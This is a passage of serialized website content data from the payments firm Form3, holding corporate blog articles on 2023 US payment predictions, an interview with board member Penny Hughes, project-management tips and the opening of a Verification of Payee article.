capabilities and growing our team. With the FedNow service available this year, payments innovation is a top priority for financial institutions. We sat down with Dave Scola, Chief Executive in the US to discuss what he sees in the future for 2023. ",[],"rich_text$c354d66a-5b0b-4c37-a3c0-d9f9854c5744",{"variation":437,"version":438,"items":7880,"primary":7881,"id":7892,"slice_type":468,"slice_label":5},[],{"body":7882},[7883,7886,7889],{"type":988,"text":7884,"spans":7885,"direction":445},"FedNow launch accelerates real-time payments",[],{"type":25,"text":7887,"spans":7888,"direction":445},"“In 2023 we're going to see a continuation in the trend of real-time payment adoption. In the US, FedNow will roll out in the summer, and we'll also likely see an uptick in adoption for The Clearing House RTP. Looking further afield, we expect to see a big increase in real-time payments in some developing economies, particularly in Latin America, building on the traction we have already seen with PIX in Brazil.” ",[],{"type":25,"text":7890,"spans":7891,"direction":445},"“The Fed has specified May to July as the go live period for FedNow. Realistically adoption will likely be slow initially, but it will ramp up within the next 12 months following the rollout after a slightly muted initial impact. Volumes are unlikely to be huge, but it does represent something significant for the US economy. This broad base move towards RTP will see people starting to develop and build use cases around that capability, meaning it will accelerate pretty quickly in the mid to long term.” ",[],"rich_text$a9d19425-2309-4005-98c1-11df3fc416ac",{"variation":437,"version":438,"items":7894,"primary":7895,"id":7912,"slice_type":468,"slice_label":5},[],{"body":7896},[7897,7900,7903,7906,7909],{"type":988,"text":7898,"spans":7899,"direction":445},"Fraud detection and AI are key",[],{"type":25,"text":7901,"spans":7902,"direction":445},"“The only way to deal with any kind of real-time payments fraud, especially APP fraud, is by churning lots of data in real time in order to analyze the patterns and start to recognize the vectors in which the fraudsters are operating. That's only possible through a combination of large, scalable, public cloud architectures combined with super sophisticated AI. ",[],{"type":25,"text":7904,"spans":7905,"direction":445},"“We will see more and more the application of AI in the fraud detection space in 2023 because it is the perfect use case for AI. There's no way humans or even typical Sequential Processing computers can manage that level of data and come to conclusions and act on those conclusions in real time, but with AI and machine learning it is possible.” ",[],{"type":25,"text":7907,"spans":7908,"direction":445},"“Banks are going to have to continue to invest in their infrastructure in 2023 to facilitate not only real-time payments, but fraud detection and analytics as well. We're seeing massive growth in fraudulent activity now, so investment in this area will be necessary.”",[],{"type":25,"text":7910,"spans":7911,"direction":445},"“In 2023 we're going to continue to see a movement away from card rails and towards account-to-account payments. We've already seen this happening in Europe, but it's also beginning to happen in the US now. This has been instigated to some extent by high interchange fees, and the move towards account-to-account payments will be facilitated by the adoption of real-time payment systems.”",[],"rich_text$f3879e3e-a99c-4638-a2b0-f11cf5993405",{"variation":437,"version":438,"items":7914,"primary":7915,"id":7938,"slice_type":468,"slice_label":5},[],{"body":7916},[7917,7920,7923,7926,7932],{"type":988,"text":7918,"spans":7919,"direction":445},"Transforming payments with multi-cloud",[],{"type":25,"text":7921,"spans":7922,"direction":445},"“We already see the regulators giving much more scrutiny to the dependence on public cloud providers by critical infrastructure - not only banks, but FinTechs as well. As other institutions like hospitals and utility providers start to use the cloud, there is an increasing recognition of the level of concentration risk placed on public cloud providers. ",[],{"type":25,"text":7924,"spans":7925,"direction":445},"“In 2023, we expect to see more and more interest around our multi-cloud capability, how we've constructed and how we've architected it, but how we could potentially leverage it both with banks and more broadly. Not just hosting our own platform on multiple clouds but hosting others' platforms on multiple clouds. Perhaps not just financial institutions either, but other industries that rely on public cloud-as-a-service and need weapons grade architecture to ensure that they have resilience and they're always available.”",[],{"type":25,"text":7927,"spans":7928,"direction":445},"“Every bank I've talked to seems to have some level of payment modernization program already planned for 2023. The reason is they recognize that they have to do this in order to remain competitive. You don't get the advantages of moving to ISO20022 unless you upgrade your payments infrastructure. You can't possibly monitor fraud activity in real time unless you have a modern payments architecture. Everything that banks need to do for their clients and in the payments space becomes very difficult to achieve if they're working with a legacy platform. ",[7929],{"start":3853,"end":854,"type":489,"data":7930},{"link_type":491,"url":7931,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fwhitepaper-modernizing-payments-in-the-us",{"type":25,"text":7933,"spans":7934,"direction":445},"“Banks need to move away from the mainframe to the cloud and start looking at creating a far more composable environment in the future. What every CIO now realizes is that to compete in the future, they're going to need to be able to chop and change aspects of that environment. That means leveraging the cloud, and it means leveraging microservices within the cloud. It means breaking up your big monolithic system into components and working with third parties to provide some of the solutions for those components.”",[7935],{"start":1131,"end":4889,"type":489,"data":7936},{"link_type":491,"url":7937,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fwhy-banks-are-moving-to-a-platform-approach","rich_text$29f3c302-819f-4339-8e2c-427709e13e85",{"variation":437,"version":438,"items":7940,"primary":7941,"id":7952,"slice_type":468,"slice_label":5},[],{"body":7942},[7943,7946,7949],{"type":988,"text":7944,"spans":7945,"direction":445},"FinTech and banking relationships",[],{"type":25,"text":7947,"spans":7948,"direction":445},"“While previously FinTechs were seen as being disruptors to the banking industry, in 2023 we will see continued cooperation between banks and FinTechs to facilitate real-time payments and real-time fraud detection. The environment has changed drastically over the last five to seven years, where banks have started to view FinTechs more as collaborators than threats, so that dynamic will persist.”  ",[],{"type":25,"text":7950,"spans":7951,"direction":445},"“However, for some FinTechs - particularly in the retail space – things are likely to get tough. FinTech valuations have been crushed recently. Those who had only questionable business cases and meager funding are going to fall by the wayside.” ",[],"rich_text$af6bab29-fbdd-471d-89fe-49042d333f8e",{"variation":437,"version":438,"items":7954,"primary":7955,"id":7964,"slice_type":468,"slice_label":5},[],{"body":7956},[7957,7959],{"type":988,"text":4005,"spans":7958,"direction":445},[],{"type":25,"text":7960,"spans":7961,"direction":445},"Start the year on the right foot and download our latest report, which explores the ins and outs of the payments transformation in the US. Learn from industry experts including executives from Fifth Third Bank, Bank of America, Santander US and Ernst & Young.",[7962],{"start":846,"end":629,"type":489,"data":7963},{"link_type":491,"url":7931,"target":493},"rich_text$b80da3b3-cc85-4f28-9415-c5481298f39e","13 payment predictions in 2023 for US banks","Discover what 2023 will bring for US banks as Dave Scola, Chief Executive in the US at Form3 sits down with us and gives us his outlook on what will be an exciting and innovative year of change for all.",{"id":7968,"uid":7969,"type":3743,"data":7970},"alz0ShEAACgAUWWB","female-leadership-spotlight--penny-hughes",{"title":7971,"excerpt":7972,"card_image":7973,"published_date":7979,"reading_time":1633,"tag":3751,"dek":7972,"featured_image":7980,"about_form3":7981,"client_about_heading":5,"client_about_body":7982,"author_name":5,"author_title":5,"author_photo":7983,"author_bio":7984,"author_linkedin":7985,"slices":7986,"meta_title":7971,"meta_description":7972},"Female Leadership Spotlight – Penny Hughes","As part of Women’s History Month, we have brought together a series highlighting the wonderful women that lead Form3. The final spotlight is Penny Hughes, a member of Form3's board of directors.",{"dimensions":7974,"alt":7975,"copyright":5,"url":7976,"id":7977,"edit":7978},{"width":412,"height":412},"penny","\u002F_prismic-media\u002F7c4e4898dec9fc78-6-jubm0VkBIuvNc2_whats-top-of-mind-penny-hughes-.jpg","6-jubm0VkBIuvNc2",{"x":398,"y":398,"zoom":399,"background":400},"2021-04-01",{},[],[],{},[],{"link_type":434},[7987,8011,8019,8044,8052,8063,8086,8110,8121,8146,8154,8165,8190,8201],{"variation":437,"version":527,"items":7988,"primary":7989,"id":8010,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":7990,"body":7993,"cta_label":5,"cta_link":7997,"aside_type":533,"aside_image":7998,"aside_video":8005,"aside_video_poster":8006,"aside_video_reduced_motion":8007,"aside_video_url":5,"aside_embed":8008,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8009,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[7991],{"type":746,"text":6052,"spans":7992,"direction":445},[],[7994],{"type":25,"text":7995,"spans":7996,"direction":445},"There are probably two things that I can say I may have done differently. I loved Procter and Gamble where I had my first graduate job. I did really well for myself to get that as a graduate job, but two years later I walked away from it because I was in a hurry! I was a chemist in a product development job and I soon decided that I wanted to be a marketer. I was told that was fine, but that I’d have to start at the beginning again and I was in a hurry, so I left and became brand manager for Milk. When I look back now, I think gosh that’s was a bit of a daft decision. I shouldn’t have been so impatient. As it happens, it set me up then for my job in the Coca Cola Company but of course I wouldn’t have known that at the time.",[],{"link_type":434},{"dimensions":7999,"alt":5,"copyright":5,"url":8002,"id":8003,"edit":8004},{"width":8000,"height":8001},592,675,"\u002F_prismic-media\u002F4bdafa485397f11c-6cLm-5-B-FHzbfrQ_fbaf2018-1c4b-45ef-8749-062cef5.png","6cLm-5-B-FHzbfrQ",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$77fc3482-1a4f-4a81-9e30-2626fac5b48d",{"variation":437,"version":438,"items":8012,"primary":8013,"id":8018,"slice_type":468,"slice_label":5},[],{"body":8014},[8015],{"type":25,"text":8016,"spans":8017,"direction":445},"Much more recently, I was Chairman of Aston Martin which was not a good IPO situation at all. I was made chairman on an IPO on listing and all the things I was told and believed from major banks, management team, lawyers and other investors turned out to be fantastically optimistic and if you put Brexit and the pandemic on top of that, the company just stressed. If I knew then what I know now I would have never taken the job. The best I could do is pass the company on to someone who could afford to run it, and that person was Lawrence Stroll. He is a billionaire, runs his own formula 1 team and is putting it together with Aston Martin. I completely back him and I think he will be successful. He is the kind of maverick entrepreneur who I think you need to be running a brand like that.",[],"rich_text$5cba5e40-9769-4220-a654-c433f22556d0",{"variation":437,"version":527,"items":8020,"primary":8021,"id":8043,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8022,"body":8026,"cta_label":5,"cta_link":8030,"aside_type":533,"aside_image":8031,"aside_video":8038,"aside_video_poster":8039,"aside_video_reduced_motion":8040,"aside_video_url":5,"aside_embed":8041,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8042,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8023],{"type":746,"text":8024,"spans":8025,"direction":445},"What advice would you give young women today who are aiming for the executive or board level for a company?",[],[8027],{"type":25,"text":8028,"spans":8029,"direction":445},"I don’t think I will say anything very original because I do think that one of the biggest problems is that women don’t think they are ready when they actually are. There’s definitely a need for women to be more confident; sometimes you build that confidence outside the business you are actually in. I think taking up extra non-executive work, extra charity work or being a volunteer somewhere in your community will give you a different experience on what being a leader is, what it means to influence people and what making decisions means. ",[],{"link_type":434},{"dimensions":8032,"alt":5,"copyright":5,"url":8035,"id":8036,"edit":8037},{"width":8033,"height":8034},550,601,"\u002F_prismic-media\u002F654eeba21959da9a-ExXJ3P4rMiZKQoZP_32f693e8-8c42-45ee-941f-1ee8835.png","ExXJ3P4rMiZKQoZP",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d8c02a8f-c3ea-48e1-96eb-b72f2ee0573e",{"variation":437,"version":438,"items":8045,"primary":8046,"id":8051,"slice_type":468,"slice_label":5},[],{"body":8047},[8048],{"type":25,"text":8049,"spans":8050,"direction":445},"Get as much experience as you can in order to equip yourself with your own confidence to know that you DO have the experience to take the next step. Too often women look around and think that other people can do the job better, but in my experience once you have appointed a woman, they are often one of the very best executives, because in a way they have been waiting their turn for a long time. So, let’s not wait our turn and let’s have that confidence!",[],"rich_text$0225ed2d-7dd3-4574-91a6-6231f577145a",{"variation":437,"version":438,"items":8053,"primary":8054,"id":8062,"slice_type":468,"slice_label":5},[],{"body":8055},[8056,8059],{"type":988,"text":8057,"spans":8058,"direction":445},"Who has inspired you in your career?",[],{"type":25,"text":8060,"spans":8061,"direction":445},"Lots of people, but I think the one person who I worked closest with early in my career, and who really inspired me was Anita Roddick, the founder of the Body Shop, because she was the first person who pioneered profit with principles, trade not aid and human rights. All the things that business’ growing up now understand to be the right way to behave; back then (I am talking about 30 years ago), it was just not valued by shareholders. She just had this extraordinary passion, the ability to touch humanity and understand it from culture to culture which I find extraordinary. I just tried to borrow and learn as much as I can from her.",[],"rich_text$309c7404-b4b8-4dfd-9220-069422b46da3",{"variation":437,"version":527,"items":8064,"primary":8065,"id":8085,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8066,"body":8070,"cta_label":5,"cta_link":8074,"aside_type":533,"aside_image":8075,"aside_video":8080,"aside_video_poster":8081,"aside_video_reduced_motion":8082,"aside_video_url":5,"aside_embed":8083,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8084,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8067],{"type":746,"text":8068,"spans":8069,"direction":445},"Can you tell us a little bit about your family life?",[],[8071],{"type":25,"text":8072,"spans":8073,"direction":445},"So, my husband is called David and I have two children, Alex (26) and Robbie (23). Alex has now left home and is an insurance broker, whilst Robbie works in real estate. My husband gave up full time work when I was pregnant with the boys, so I largely work more hours than he has. But, as ever, it is a partnership, so you do these things together and make choices which are right for your situation. Then of course we have our dog who is 12 who we walk every day, which is a fantastic way to clear your head! We have lived in the same house for 26 years and have done enormous amount of work, so it really is home.",[],{"link_type":434},{"dimensions":8076,"alt":5,"copyright":5,"url":8077,"id":8078,"edit":8079},{"width":6036,"height":8033},"\u002F_prismic-media\u002F743fcbb678b8c88f-wa05uz8tmo_CvUL8_948babbc-c16b-4a9a-9b83-2451644.png","wa05uz8tmo_CvUL8",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$58de5272-d676-439a-9c9b-94d0513ef5aa",{"variation":437,"version":527,"items":8087,"primary":8088,"id":8109,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8089,"body":8092,"cta_label":5,"cta_link":8096,"aside_type":533,"aside_image":8097,"aside_video":8104,"aside_video_poster":8105,"aside_video_reduced_motion":8106,"aside_video_url":5,"aside_embed":8107,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8108,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8090],{"type":746,"text":6149,"spans":8091,"direction":445},[],[8093],{"type":25,"text":8094,"spans":8095,"direction":445},"I suppose two things! I am lucky enough to live on the river, so I have been kayaking every morning. Last summer everyone was out on the Thames doing stand-up paddleboarding, so I bought myself one as well, which is great fun. The other one new hobby is probably a new hobby a lot of us have taken on, which is cooking. I try to make nice dinners, get out the recipe books, get a bit dressed up and make the evening a little special and break up the day a little.",[],{"link_type":434},{"dimensions":8098,"alt":5,"copyright":5,"url":8101,"id":8102,"edit":8103},{"width":8099,"height":8100},935,672,"\u002F_prismic-media\u002F2d4d3e2fb028d22a-bGYGoze1c1SpEvaH_68bda124-6a24-4e57-acc1-247e42b.png","bGYGoze1c1SpEvaH",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$332b5109-a25b-400f-88b0-a920c70c4aaf",{"variation":437,"version":438,"items":8111,"primary":8112,"id":8120,"slice_type":468,"slice_label":5},[],{"body":8113},[8114,8117],{"type":988,"text":8115,"spans":8116,"direction":445},"What was your first ever job and what were you doing in that job?",[],{"type":25,"text":8118,"spans":8119,"direction":445},"I’m a chemist and my first ever job was in product development with Proctor and Gamble up in Newcastle. I was designing Bold 3 which was the first detergent that cleans, softens and freshens all in one!",[],"rich_text$8ef9f5ef-d1b9-40d3-a73e-1bd66074eb8e",{"variation":437,"version":527,"items":8122,"primary":8123,"id":8145,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8124,"body":8128,"cta_label":5,"cta_link":8132,"aside_type":533,"aside_image":8133,"aside_video":8140,"aside_video_poster":8141,"aside_video_reduced_motion":8142,"aside_video_url":5,"aside_embed":8143,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8144,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8125],{"type":746,"text":8126,"spans":8127,"direction":445},"Are you a football fan and if so what team to you support?",[],[8129],{"type":25,"text":8130,"spans":8131,"direction":445},"I am a fanatical football fan! I am a Liverpool football fan. One of my massive regrets in life comes from it as I used to be a season ticket holder at the age of 14, with 4 other girls in school! Some of my happiest memories of my childhood come from those time of getting the ferry across the Mersey and walking up to Anfield. We all went to University and got jobs, and so we decided to give up our season tickets. ",[],{"link_type":434},{"dimensions":8134,"alt":5,"copyright":5,"url":8137,"id":8138,"edit":8139},{"width":8135,"height":8136},1060,693,"\u002F_prismic-media\u002F1f273b93a2606768-ijCy_md-UE9Yw10_09bf9241-81e0-4bb3-8ee4-45933abd.png","_ijCy_md-UE9Yw10",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$44d2a78e-f58d-4188-88dd-8340f0dea5c7",{"variation":437,"version":438,"items":8147,"primary":8148,"id":8153,"slice_type":468,"slice_label":5},[],{"body":8149},[8150],{"type":25,"text":8151,"spans":8152,"direction":445},"This was before Liverpool was as big and successful as it is now, and it was the worst decision to give those up! I think the waiting list to be a season ticket holder now is like 25 years, so that will never come back! So yes, I am a passionate Liverpool fan and obviously they are going through a tough time right now. But that’s what happens, you go from the highest of highs and the lowest of lows together.",[],"rich_text$a8bc561e-bb2e-45b4-af85-7ba08abdf649",{"variation":437,"version":438,"items":8155,"primary":8156,"id":8164,"slice_type":468,"slice_label":5},[],{"body":8157},[8158,8161],{"type":988,"text":8159,"spans":8160,"direction":445},"Is there a career highlight that you would pinpoint?",[],{"type":25,"text":8162,"spans":8163,"direction":445},"So, I think there have been two highlights. The first was when I was 32 and was appointed President of the UK and Ireland businesses of Coca-Cola, which was young to be managing this role! It was the most significant leadership position in the UK and there weren’t very many bigger markets around the world.  I was probably in the top 10-20 inside a very large cooperation. So that was fantastic, and I look back on those days with a lot of fondness. I suppose later in life as a director of RBS after it failed in the financial crisis and was bailed out by the government. I joined the board and again I would say there were about 10-20 of us who absolutely made the difference around wrestling the bank, by taking the balance sheet down from two trillion to 500 billion and just really managing some quite difficult circumstances both culturally, and with systems and regulators. That was really heavy lifting, but I am really proud of what is now Natwest. It is a good bank and is obviously supporting the UK economy with mortgages, small business lending and big business lending. Successful banks are fundamentally important for a successful economy and I played a part in that and that’s a great feeling.",[],"rich_text$8401a7b4-2a6e-4271-b901-7d0477db36bd",{"variation":437,"version":527,"items":8166,"primary":8167,"id":8189,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8168,"body":8172,"cta_label":5,"cta_link":8176,"aside_type":533,"aside_image":8177,"aside_video":8184,"aside_video_poster":8185,"aside_video_reduced_motion":8186,"aside_video_url":5,"aside_embed":8187,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8188,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[8169],{"type":746,"text":8170,"spans":8171,"direction":445},"As a chemistry student did you feel like females were underrepresented?",[],[8173],{"type":25,"text":8174,"spans":8175,"direction":445},"Definitely! We were I think 150 students and only two women! I never thought about it at the time, but it was very male dominated!",[],{"link_type":434},{"dimensions":8178,"alt":5,"copyright":5,"url":8181,"id":8182,"edit":8183},{"width":8179,"height":8180},815,666,"\u002F_prismic-media\u002F23ceafb2be9132d8-7IjqTu8kycT0NXes_09260bbc-6251-4cfa-806c-f2b2ed1.png","7IjqTu8kycT0NXes",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$cb9671d2-b107-4c7a-91fb-38561801597d",{"variation":437,"version":438,"items":8191,"primary":8192,"id":8200,"slice_type":468,"slice_label":5},[],{"body":8193},[8194,8197],{"type":988,"text":8195,"spans":8196,"direction":445},"How did you decide that path?",[],{"type":25,"text":8198,"spans":8199,"direction":445},"There was really no other reason than the fact that I was quite good at sciences. I had chemistry, physics, maths at A-level and enjoyed chemistry. I wasn’t thinking of a career back then at all, I was just thinking about the joy of going to university, leaving home and chemistry was something I could do. After 2 years of chemistry, I had worked out that I wanted to be more business and commercially oriented and was less likely to be a scientist as a career. So, I did economics in my third year. That gave me that little window of what a business career could be.",[],"rich_text$ed75cf26-ab8f-4761-a067-eff1cc119adb",{"variation":437,"version":438,"items":8202,"primary":8203,"id":8211,"slice_type":468,"slice_label":5},[],{"body":8204},[8205,8208],{"type":988,"text":8206,"spans":8207,"direction":445},"What do you think companies like Form3 could do to encourage more women to go into STEM areas?",[],{"type":25,"text":8209,"spans":8210,"direction":445},"I have been involved with quite a lot of pioneering work at universities and I think we could take two or three university relationships and really showcase what the business is doing and what the graduates coming through various STEM degrees could be thinking about. There are some fantastic universities in the UK and Europe that are really producing some fantastic graduates. A lot of our colleagues are not coming in as graduates but are coming in with lots of experience, but a good company that wants to be sustainable is going to have to build that flow of younger talent. We did a lot of work on RBS, going on to campus and creating a lot of noise about the sort of careers that are available inside banks. We have something much more interesting and special than banks so we could absolutely stand out and I would love to be part of that.",[],"rich_text$d0d2f380-c7cf-4ee8-a1f4-218da5812c3a",{"id":8213,"uid":8214,"type":3743,"data":8215},"alz0XREAAC0AUWWx","managing-and-leading-transformational-change-projects-at-a-fast-growing-fintech",{"title":8216,"excerpt":8217,"card_image":8218,"published_date":8221,"reading_time":1633,"tag":3751,"dek":8217,"featured_image":8222,"about_form3":8223,"client_about_heading":5,"client_about_body":8224,"author_name":5,"author_title":5,"author_photo":8225,"author_bio":8226,"author_linkedin":8227,"slices":8228,"meta_title":8216,"meta_description":8217},"Managing and leading transformational change projects at a fast growing FinTech","Join Thomas Vogt-Skard, an experienced programme director at Form3 on how he leads clients through transformational projects whilst remote working.",{"dimensions":8219,"alt":413,"copyright":5,"url":414,"id":415,"edit":8220},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2020-05-18",{},[],[],{},[],{"link_type":434},[8229,8254,8262,8294,8308,8325],{"variation":437,"version":527,"items":8230,"primary":8231,"id":8253,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8232,"body":8233,"cta_label":5,"cta_link":8240,"aside_type":533,"aside_image":8241,"aside_video":8248,"aside_video_poster":8249,"aside_video_reduced_motion":8250,"aside_video_url":5,"aside_embed":8251,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8252,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[8234,8237],{"type":25,"text":8235,"spans":8236,"direction":445},"At Form3, we have a pragmatic approach to planning, project management and the way we engage with our enterprise customers. Our “remote first” culture and use of online tools are standing us in good stead generally, and especially in the current environment. ",[],{"type":25,"text":8238,"spans":8239,"direction":445},"From a project management perspective, we recognise that whilst we have certain software and tools that work well within our organisation, each bank has its own way of working and its own operating environment. ",[],{"link_type":434},{"dimensions":8242,"alt":5,"copyright":5,"url":8245,"id":8246,"edit":8247},{"width":8243,"height":8244},3750,2500,"\u002F_prismic-media\u002F8425f8b777ed19d5-rfp4teEHICehI5E_c8429308-730f-4e6e-8d8e-136c5274.jpeg","_rfp4teEHICehI5E",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$c9e0797b-f4ee-4ac7-b356-2cb7f6c4c045",{"variation":437,"version":438,"items":8255,"primary":8256,"id":8261,"slice_type":468,"slice_label":5},[],{"body":8257},[8258],{"type":25,"text":8259,"spans":8260,"direction":445},"Recognising the transformational nature of our cloud-native Payments as a Service offering, frequently in the context of established bank environments, we are therefore establishing collaborative relationships with our customers, working jointly on roadmaps and project planning. With our team of banking and payments specialists, we understand from experience the challenges that banks often face when undertaking transformation projects.",[],"rich_text$29cad959-dd07-4167-8ef9-234a15c9bff0",{"variation":437,"version":438,"items":8263,"primary":8264,"id":8293,"slice_type":468,"slice_label":5},[],{"body":8265},[8266,8269,8272,8275,8278,8281,8284,8287,8290],{"type":746,"text":8267,"spans":8268},"So, is it all just hype? Project management without the bells and whistles:",[],{"type":25,"text":8270,"spans":8271},"The terms ‘project management’ (and especially ‘programme management’) still make me slightly nervous, even though you could argue that is what I’ve been doing for a living for the last 20 years!",[],{"type":25,"text":8273,"spans":8274},"Healthy tension, I like to think. For some, these terms imply the use of sophisticated tools and software which I think can be helpful to specific and well-defined needs, but perhaps more often simply create un-needed complexity and an air of authority for the Project \u002F Programme Director or Lead. That is not what we are about.",[],{"type":25,"text":8276,"spans":8277},"Having had the experience of running projects in many different environments, I believe it is always best to start by defining what one is trying to achieve and what the constraints and parameters are. At the outset of each project, it is worthwhile looking at a few basic questions (once the overall objectives have been defined and agreed):",[],{"type":1151,"text":8279,"spans":8280},"How can we make communication within the wider team (including customer stakeholders) as transparent, effective and collaborative as possible?",[],{"type":1151,"text":8282,"spans":8283},"How can we make best use of the limited resources we and our customers have (including people)?",[],{"type":1151,"text":8285,"spans":8286},"What is the right decision-making approach, so that we can move forward without delay? ",[],{"type":25,"text":8288,"spans":8289},"Addressing these types of questions, in partnership with our enterprise customers at an early stage provides for better joint project planning and will ultimately pay handsome dividends in the form of less friction and therefore quicker and better delivery (generating the desired benefits in less time!)",[],{"type":25,"text":8291,"spans":8292},"Whether or not our enterprise customers can use all of the communication software that we find helpful (e.g. Slack and Zoom), we can utilise our deep experience in banking and payments to help ensure that we understand our customer’s priorities, the concerns and risks they have and the internal processes they have established and that we must respect.",[],"rich_text$f9db9596-d3ba-4b24-9e58-b8ed921d919a",{"variation":437,"version":438,"items":8295,"primary":8296,"id":8307,"slice_type":468,"slice_label":5},[],{"body":8297},[8298,8301,8304],{"type":746,"text":8299,"spans":8300},"Looking to the future:",[],{"type":25,"text":8302,"spans":8303},"The combination of Form3’s cloud-native technology, and deep banking and payments experience underpins every engagement we deliver for our enterprise customers. Although we enjoy meeting our clients in person (and look forward to returning to that mode of working!), our remote-first culture is helping to ensure that all our projects are progressing to plan in the current challenging environment.",[],{"type":25,"text":8305,"spans":8306},"We look forward to working collaboratively with many more banks in future to transform the way they process payments!",[],"rich_text$432efc63-a1bb-4ab2-b685-91b46f8dc15c",{"variation":437,"version":527,"items":8309,"primary":8310,"id":8324,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":8311,"body":8312,"cta_label":5,"cta_link":8313,"aside_type":533,"aside_image":8314,"aside_video":8319,"aside_video_poster":8320,"aside_video_reduced_motion":8321,"aside_video_url":5,"aside_embed":8322,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":8323,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":8315,"alt":5,"copyright":5,"url":8316,"id":8317,"edit":8318},{"width":8243,"height":8244},"\u002F_prismic-media\u002F7349b6692b668a85-xj4moqaqs1Ws-cM2_c336014e-c602-4b8d-820f-1b26109.jpeg","xj4moqaqs1Ws-cM2",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$d54506ee-ab38-43b7-be73-b3ee814ec28c",{"variation":437,"version":438,"items":8326,"primary":8327,"id":8347,"slice_type":468,"slice_label":5},[],{"body":8328},[8329,8332,8335,8338,8341,8344],{"type":746,"text":8330,"spans":8331},"Five tips for Project managers during the COVID-19 crisis, and more generally:",[],{"type":25,"text":8333,"spans":8334},"1. Communicate more than necessary: It is supportive in the current environment, and you never know where the next great idea to solve a problem or deliver better outcomes is coming from.",[],{"type":25,"text":8336,"spans":8337},"2. Good old-fashioned planning: Think backwards from your end goal(s). Failing to plan is planning to fail!",[],{"type":25,"text":8339,"spans":8340},"3. Collaborate: Do what you can to create or feed a collaborative culture. The sense of working towards common goals and naturally helping each other as colleagues is priceless.",[],{"type":25,"text":8342,"spans":8343},"4. Use technology pragmatically: Use technology that allows you and your colleagues to collaborate effectively, communicate openly (as appropriate) and access and use information easily. Here at Form3 we utilise a combination of Slack and Zoom with open communication in public channels encouraged across all teams.",[],{"type":25,"text":8345,"spans":8346},"5. Support colleagues and be considerate: Especially now during this crisis, be tolerant and kind. The current situation is mentally and emotionally challenging and supporting each other is even more important now!",[],"rich_text$d7028b48-6f3d-447d-9f22-0a72fe3c01dc",{"id":8349,"uid":8350,"type":3743,"data":8351},"apW_jBEAACcAIGjf","vop-is-becoming-part-of-the-payment-experience",{"title":8352,"excerpt":8353,"card_image":8354,"published_date":8360,"reading_time":4603,"tag":3751,"dek":5,"featured_image":8361,"about_form3":8362,"client_about_heading":5,"client_about_body":8363,"author_name":8364,"author_title":8365,"author_photo":8366,"author_bio":8372,"author_linkedin":8382,"slices":8385,"meta_title":5,"meta_description":5},"From implementation to performance: the next challenge for Verification of Payee","Verification of Payee has moved beyond its launch phase. \nAcross Europe, financial institutions have spent the past year responding to new regulatory requirements, connecting to scheme infrastructure and integrating payee verification into customer payment journeys. \nNow the focus is shifting from implementation to performance: ensuring VoP works reliably, quickly and consistently every time a customer makes a payment. \nAs VoP becomes embedded into everyday payment experiences, its success will increasingly be judged by customers and operations teams – not just compliance teams.",{"dimensions":8355,"alt":8356,"copyright":5,"url":8357,"id":8358,"edit":8359},{"width":412,"height":412},"Cards","\u002F_prismic-media\u002F74af0155f54d6c3d-0EWrt0mKYTNCfDdA_enhancing-payment-security-in-t.png","0EWrt0mKYTNCfDdA",{"x":398,"y":398,"zoom":399,"background":400},"2026-08-20",{},[],[],"Nathan Sheppard","Head of Product, Europe",{"dimensions":8367,"alt":8368,"copyright":5,"url":8369,"id":8370,"edit":8371},{"width":5080,"height":5081},"Nathan-Sheppard","\u002F_prismic-media\u002Fc49c880a7db1d5d2-f9Cp4eWDnS0mFaKi_ahXBfLK9tuLqEKIt_image-12-.avif","f9Cp4eWDnS0mFaKi",{"x":398,"y":398,"zoom":399,"background":400},[8373,8376,8379],{"type":25,"text":8374,"spans":8375,"direction":445},"Nathan Sheppard is Head of Product Europe at Form3, leading SEPA and Verification of Payee (VoP) 